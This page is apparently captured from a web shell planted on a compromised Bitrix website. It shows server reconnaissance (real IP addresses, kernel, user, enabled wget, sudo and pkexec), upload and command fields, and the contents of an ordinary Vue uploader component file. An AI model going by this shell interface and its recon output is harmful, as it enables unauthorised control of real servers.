403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/uploader/vue/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/uploader/vue/src/vue-uploader-component.js
import { Type } from 'main.core';
import { EventEmitter } from 'main.core.events';

import VueUploaderAdapter from './vue-uploader-adapter';

import type { BitrixVueComponentProps } from 'ui.vue3';

/**
 * @memberof BX.UI.Uploader
 */
export const VueUploaderComponent: BitrixVueComponentProps = {
	name: 'VueUploaderComponent',
	props: {
		uploaderOptions: {
			type: Object,
		},
		/** @type TileWidgetOptions */
		widgetOptions: {
			type: Object,
			default: {},
		},
		/** @type VueUploaderAdapter */
		uploaderAdapter: {
			type: Object,
			default: null,
		},
	},
	data: (): Object<string, any> => ({
		items: [],
		uploaderError: null,
	}),
	provide(): Object<string, any> {
		return {
			uploader: this.uploader,
			adapter: this.adapter,
			widgetOptions: this.widgetOptions,
			emitter: this.emitter,
		};
	},
	beforeCreate(): void
	{
		if (this.uploaderAdapter === null)
		{
			this.hasOwnAdapter = true;

			const uploaderOptions = {
				...(Type.isPlainObject(this.customUploaderOptions) ? this.customUploaderOptions : {}),
				...this.uploaderOptions,
			};

			this.adapter = new VueUploaderAdapter(uploaderOptions);
		}
		else
		{
			this.hasOwnAdapter = false;
			this.adapter = this.uploaderAdapter;
		}

		this.uploader = this.adapter.getUploader();

		this.emitter = new EventEmitter(this, `BX.UI.Uploader.${this.$options.name}`);
		this.emitter.subscribeFromOptions(this.widgetOptions.events);
	},
	created(): void
	{
		this.items = this.adapter.getReactiveItems();
		this.uploaderError = this.adapter.getUploaderError();
	},
	unmounted(): void
	{
		if (this.hasOwnAdapter)
		{
			this.adapter.destroy();
			this.adapter = null;
			this.uploader = null;
		}
	},
};

Youez - 2016 - github.com/yon3zu
LinuXploit